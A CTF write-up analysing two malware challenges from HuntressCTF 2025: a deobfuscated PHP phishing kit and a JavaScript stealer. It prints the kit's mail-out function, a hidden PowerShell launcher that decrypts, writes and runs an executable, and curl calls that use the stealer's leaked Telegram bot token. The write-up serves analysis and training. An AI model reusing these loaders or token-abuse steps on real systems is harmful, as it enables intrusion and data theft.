HuntressCTF 2025 Malware Challenges – Writeups & Analysis

 3 min read

Cover for HuntressCTF 2025 Malware Challenges – Writeups & Analysis

My CTF team, Kern(a)l, placed in the top 50 at HuntressCTF 2025. Shoutout to:

For Greatness

Oh great, another phishing kit. This has some functionality to even send stolen data over email! Can you track down the email address they send things to?

CAUTION: This is the Malware category, and as such, includes malware. Please be sure to analyze these files within an isolated virtual machine.

After unzipping the malware, we can see it is an obfuscated PHP file. (I had to snip line 33 because it is a long line of octal and decimal encoding).

Looking up an Online PHP deobfuscator, we see one named Deobfuscation. Uploading the j.php file into the Type Checker of the website, we see the application has detected that this is GOTO Yakpro-po encryption.

After navigating to the GOTO Yakpro-po, and uploading the file again to the application, we can see that it has been successfully decoded.

Looking at the PHP code, on line 33, it is base64, and on line 37, there’s a base64_decode function. Taking the long string from line 33, we can write it to a file and base64-decode it.

cat base64_text | base64 -d > decoded_base64

Doing a file on the decoded_base64 file, we can see that it is a zlib compressed data.

Using a custom Python script, we can retrieve the data.

import zlib

with open("decoded_base64", "rb") as f:
    compressed_data = f.read()

decompressed_data = zlib.decompress(compressed_data)

print(decompressed_data.decode('utf-8', errors='ignore'))

Looking at the decompressed output, we see a huge base64 string.

Putting this base64 string into a file lets us decode it and view its contents.

cat decompressed_base64_string | base64 -d > decomp_base64_decoded

Looking into the file, we see that it is PHP code. In the code, there is a mailTo function. In the challenge description, it states, “Can you track down the email address they send things to?”

public function mailTo($add,$cont){
		$subject='++++Office Email From Greatness+++++';
		$headers='Content-type: text/html; charset=UTF-8' . "\r\nFrom: Greatness <ghost+}f7113307018770d52d4f94fec013197f{[email protected]>" . "\r\n";
		@mail($add,$subject,$cont,$headers);
	}

That looks like the flag, but it is reversed. We can use the rev command in Linux to retrieve the flag.

Original:
}f7113307018770d52d4f94fec013197f{galf

Reversed:
echo "}f7113307018770d52d4f94fec013197f{galf" | rev
flag{f791310cef49f4d25d0778107033117f}

Flag: flag{f791310cef49f4d25d0778107033117f}

Telestealer

Our threat intelligence team reported that Ben’s data is actively being sold on the dark web. During the incident response, the SOC identified a suspicious JavaScript file within Ben’s Downloads folder.

Can you recover the stolen data?

After unzipping the file, we see that there is a lot of base64 in a file called telestealer, and at the end of the file, it looks like it’s executing the base64.

var parts = []; parts.push('JGtleSAgICA9IFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMzZZUWJHZU81eU1LaWwxYldnWmI0OTFUTFh2NjhxZFRjNGRCTElJYmR6dz0nKQ0KJGl2ICAgICA9IFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnNWc5WVA0RjBhSGxCWEsrRzNERjVKQT09JykNCiRjaXBoZXIgPSBbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzRCQTQwaVBBM2dFSFJITGNJN0R5YnZITUpwS28wd3ZYaDMwUlhWVURsU3hHT1NhN2hVNUpIc3NlajljVEt2QVUyWGFsbTI4MW1YQmo5TG4zLzlFckkvMTZpVDFFRWFvdDRJMkU4ejJXR2p0'); parts.push('M3g2V3Nrdjk4ZlJrMjdlbVNIajVXbDVCczdjM0NZZWtvWmdoM1FIQ0ZDR2JUUUNETlA3cVNSZmR4ek4wZkdyS2J6MGs2Tk5adGwwOFBWYnNFb0UwNTBQUXdzZmtidTlNTGFTR0xHSGxseXcvMW8wL1drci9jajFqY1N2ZzJqUFBxTGFJMmFLejBveDcrV1NIbVRFenNJYzlMM2JrT3FSd1VGK0x6RVNuQUx5UElyYVR1dDgzRTlmMkpqcEZkSWQ0Mm92UFZockdnSkVRZG9tc1VpZWVOUVNudW9JNnNLb2JGTEdNVng0d2F6YkRkMWVqNjN5WjhXZlBob0JweGxYZU45VGlKdnlqSEpjZDZhbXFlSFR5dE5RWkJDTXZuOTkzMTl1T1dPWmlxdFBZ'); parts.push('ekp6WWNBSlhkaVh5SVN2MHlBcEZ6bVhsT0ZHWVp3MmJmUFFsTjI3TWlWRlFXR2dOYVR5YUtycnYxWXRWTjJMS2tTUWpXVEFOQndSZmtUTlRsK0RwMmVxQWdiUDVZWUQzR2t5cWlEVW1rMDhnZG96T0UrZlBrL3h0TG5hanM2dEdGWklXZndoU0lBRk1nSGErelRDTVNzLzUxcXdyRUE5bzJoRVBhQmVpcmZubkFQblJFYWVFQmFxblR1SmFtbXpxUkJtUUtrM3B5eVBic2tDdTNEcHowc0lrblpVeVFDRkhnK1Q2ZVdieW11VVdseDM0c3Z4VnVPUUhma0M2RTJENEVYSnNjRzNrWk1DSklQQk0vSUUvQVl2Z3VoUERYdVJTc2ZzbHk2RVJFY3da');
<...snip...>
var b64cmd = parts.join('');
var shell = new ActiveXObject('WScript.Shell');
var cmd = 'powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ' + b64cmd;
shell.Run(cmd, 0, false);

Using a simple one-liner, we can extract all base64 data, form a long string, and decode the output into a different file.

awk -F"'" '/parts\.push/ {printf "%s",$2} END{print ""}' telestealer | base64 -d > decoded

Looking at the decoded file, we see that it is a PowerShell script.

$key    = [Convert]::FromBase64String('36YQbGeO5yMKil1bWgZb491TLXv68qdTc4dBLIIbdzw=')
$iv     = [Convert]::FromBase64String('5g9YP4F0aHlBXK+G3DF5JA==')
$cipher = [Convert]::FromBase64String('4BA40iPA3gEHRHLcI7DybvHMJpKo0wvXh30RXVUDlSxGOSa7<...snip...>')
$aes    = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV  = $iv
$dec    = $aes.CreateDecryptor()
$plain  = $dec.TransformFinalBlock($cipher, 0, $cipher.Length)
$out    = 'C:\Users\Public\Music\x.exe'
[IO.File]::WriteAllBytes($out, $plain)
Start-Process -FilePath $out

Running this script, an executable file will be stored on C:\Users\Public\Music\x.exe the Windows machine.

With this executable, we can load it into JetBrains DotPeek and begin looking through its classes and methods. Looking in CloudService -> UltraSpeed, we can see some sensitive information.

The TG stands for Telegram, so this appears to be a Telegram bot. Unfortunately, during the CTF, a participant ruined it for the rest of the folks, and this challenge had to be switched. This is the newer version; the older version will appear later on the blog. With this solution, you will need to create a Telegram account. After creating, you can search for the @st3al3rb3n_bot on Telegram, and begin messaging the bot.

After typing /start, the bot asks us a MITRE question.

Looking this exact question up on Google, we retrieve the technique and the bot reveals the flag.

Flag: flag{5f5b173825732f5404acf2f680057153}

Like I stated before, someone on the CTF decided to ruin the challenge for the rest of the folks; however, here is the solution. After obtaining the executable and running the PowerShell script, we can open it up DotPeek and look at the CloudServices -> UltraSpeed.

This resembles a Telegram API key. Doing some research, it’s revealed that we can access bot information by doing so https://api.telegram.org/bot<TOKEN>/*.

To see if the token worked, I attempted a /getMe endpoint using curl, and received the following information:

curl "https://api.telegram.org/bot8485770488:AAH8YOjqaRckDPIy7xNwZN2KcaLx6EME-L0/getMe" -s | jq
{
  "ok": true,
  "result": {
    "id": 8485770488,
    "is_bot": true,
    "first_name": "st3aler",
    "username": "st38l3r_bot",
    "can_join_groups": true,
    "can_read_all_group_messages": true,
    "supports_inline_queries": false,
    "can_connect_to_business": false,
    "has_main_web_app": false
  }
}

We are the st38l3r_botand can begin enumerating through the Telegram API. After looking at a few different API endpoints, it appeared nothing was working, until I stumbled upon /getMyDescription, one that shows the bot description. Running the following command returned the flag.

This no longer works and gives the following message.

curl "https://api.telegram.org/bot8485770488:AAH8YOjqaRckDPIy7xNwZN2KcaLx6EME-L0/getMyDescription"
{"ok":true,"result":{"description":"This challenge has been updated download the new files"}}